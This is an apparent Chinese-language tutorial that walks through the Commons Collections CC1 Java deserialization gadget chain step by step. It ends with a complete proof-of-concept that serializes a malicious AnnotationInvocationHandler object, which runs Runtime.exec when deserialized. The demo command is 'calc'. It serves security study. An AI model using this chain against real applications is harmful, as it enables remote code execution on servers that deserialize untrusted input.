环境搭建不说了 网上很多优秀的文章教学
先列出利用的链子然后我们需要倒着进行分析
AnnotationInvocationHandler.readObject()--> AbstractInputCheckedMapDecorator.MapEntry.setValue()--> TransformedMap.checkSetValue()--> ChainedTransformer.transform()--> InvokerTransformer.transform()
CC1链的末尾 (入口/源头)就是Commons Collections库中的Tranformer
接口,这个接口里面有个transform
方法。
InvokerTransformer
找到这个类发现实现了Tranformer接口的方法
public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs);
可以看到这段代码 代码不好建议逐句分析这里直接放到注释里面
这就完全符合反序列化的参数可控可以直接进行利用,参数可控就导致了反射调用任意类 任意方法 。
进行利用
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.io.IOException;import java.lang.reflect.*;public class cc1 { public static void main (String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Runtime cmd = Runtime.getRuntime(); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(cmd); } }
new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(cmd);
知道了InvokerTransformer
类可以调用transform()
方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer
类的transform()
方法。
可以看到在TransformedMap这个类下面的checkSetValue方法调用了从valueTransformer.transform
往上找valueTransformer
protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
发现 keyTransformer,valueTransformer 参数可控 但是是protected,只能内部类访问,权限不够,往上找,查看是谁具体调用了方法checkSetValue()内部的这个transform(),发现是valueTransformer进行调用,查看valueTransformer,发现valueTransformer也是protect权限,继续查看valueTransformer从哪里来的,最后我们发现decorate()调用TransformedMap()的构造方法来的,所有涉及到的方法,只有decorate的权限修饰符是public
public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
那么这个decorate类我们就可以进一步控制valueTransformer
关键:TransformedMap
本身不存储数据,而是将操作委托给原始 HashMap
,并在操作前后触发转换器逻辑。
这里穿插一下TransformedMap装饰器本事就像是一个外挂没有实际作用需要HashMap来存储键值对,需要披挂在HashMap上才能发挥作用
由于我们使用的是transformMap的方法,所以先去构建一个HashMap,再通过这个map来调用transformer内的decorate()来完成一个transformedMap的实例化,最后再想办法触发checkSetValue()方法即可
Runtime r=Runtime.*getRuntime*(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> transformedmap=TransformedMap.decorate(map,null ,invokerTransformer);
寻找调用checkSetValue()的方法
发现AbstractlnputCheckedMapDecorator类种的setValue方法可以进行对checkSetvalue的调用那么就
checkSetValue()
是TransformedMap
的关键方法,用于在值被修改时应用转换逻辑。当调用 Map.Entry.setValue()
修改条目值时,TransformedMap
的 checkSetValue()
会被触发,对值进行转换。
穿插:Map里存储了键值对,每一个键值对被java封装成一个Entry对象,当想修改键值对的值的时候就可以可以直接通过`Entry`的`setValue()`方法进行修改,这里因为有装饰器TransformedMap,装饰器TransformedMap监听对值的修改操作,就是每当想调用**`setValue()`时,外挂会先触发`checkSetValue()`方法**,对修改的值做额外的处理
MapEntry类实际上是重写父类AbstractMapEntryDecorator的setValue()方法
MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调用checkSetValue()
解释下为什么要遍历:`TransformedMap`的机制**:它通过装饰`Map.Entry`对象(每个纸条)来监听修改操作,直接调用`map.put("键", "新值")`可能绕开外挂程序,遍历后通过`entry.setValue()`修改,才能确保外挂程序被调用,**底层原因:TransformedMap`的`Map.Entry`是改装过的(`AbstractMapEntryDecorator`的子类),它的`setValue()`方法被重写,主动调用`checkSetValue(),遍历是确保每个`Entry`都使用改装后的方法的关键步骤
一句话就是确保每个Entry
都使用改装后的方法,进而更好调用setvalue去调用checkSetvalue
public class TransformedMapDemo { public static void main (String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); map.put("key" ,"value" ); Map<Object, Object> transformedMap = TransformedMap.decorate( map, null , invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(runtime); } } }
for(Map.Entry entry:transformedMap.entrySet()) { *//遍历Map常用格式* entry.setValue(runtime); }
在这里, transformedMap是经过装饰的 Map对象,具有特殊的行为。通过 entrySet() 方法获取了键值对的集合,然后进行遍历。transformedMap.entrySet()返回的是一个包含 Map.Entry
对象的集合,这样就可以遍历 M ap 的键值对。Map.Entry 是一个内部接口,用于表示Map
中 的键值对,其中可以通过 getKey() 获取键,通过 getValue()获取值。
因为Map里的entrySet()是被transformedMap装饰器进行外挂的,本来是要去Map种的setvalue方法,但是经过装饰器的定义绘制街道MapEntry种调用里面的setValue方法进而去调用checkSetValue方法
梳理
首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,
在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,
然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环
追寻setValue,找到readObject()
AnnotationInvocationHandler private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
发现了readobject下调用了setvalue
由于memberValues可控,这样我们就可以传入自己需要的,然后实现setValue方法
但是这个类没有说明是不是public之类的,也就是我们只能在包里面进行diaoyong,要想在外部调用的话就必须使用反射
copy的粗略的代码
public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true ); Object o = constructor.newInstance(Override.class, transformedMap);serialize(o); unserialize("CC1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("CC1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); }
发现没有弹出计算器
解决三个问题 1. Runtime是没有实现Serializable接口的,无法序列化 2. AnnotationInvocationHandler中的readObject执行 memberValue.setValue需要绕过两if判断 3. memberValue.setValue中的值无法控制
Runtime是没有实现Serializable接口的,无法序列化 虽然Runtime是没有实现Serializable接口的,可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的
改成下面这种形式
public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class rc=Class.forName("java.lang.Runtime" ); Method getRuntime= rc.getDeclaredMethod("getRuntime" ,null ); Runtime r=(Runtime) getRuntime.invoke(null ,null ); Method exec=rc.getDeclaredMethod("exec" , String.class); exec.invoke(r,"calc" ); }
改成这样也是可以执行命令的;但是问题又来了,上面一共执行了三次transform
方法。但是InvokerTransformer
类中只能执行一次transform
方法;
这里又要介绍一个需要利用的类ChainedTransformer
;可以看一下此类的构造方法和transform
方法
public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
所以我们利用chainedTransformer
public static void main (String[] args) throws ClassNotFoundException { Class runtimeClass = Class.forName("java.lang.Runtime" ); Transformer[] Transformers=new Transformer []{ new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer= new ChainedTransformer (Transformers); chainedTransformer.transform(Runtime.class); }
同样可以运行
解决setValue()方法无法执行的原因 setValue()方法是在两个if语句下边
所以我们需要绕过这两个if语句才能执行
第一个if就是判断类型要不为空
第二个if
memberType.isInstance(value) || value instanceof ExceptionProxy:表示 value 是 memberType 类型的实例,或者是 ExceptionProxy 类型。
!():对整个条件取反。,如果 value 既不是 memberType 的实例,也不是 ExceptionProxy,条件为真,进入 if 块。
解决无法控制setValue值的问题 处理完if发现传进去的参数我们不可控
这里需要借助另一个类ConstantTransformer;这个类非常有意思,构造方法传递什么值,transform就返回什么值
public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
POC
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" ,"deadbeef" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationHandler = clazz.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandler.setAccessible(true ); Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap); serialize(o); unserialize(); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static void unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); ois.readObject(); ois.close(); } }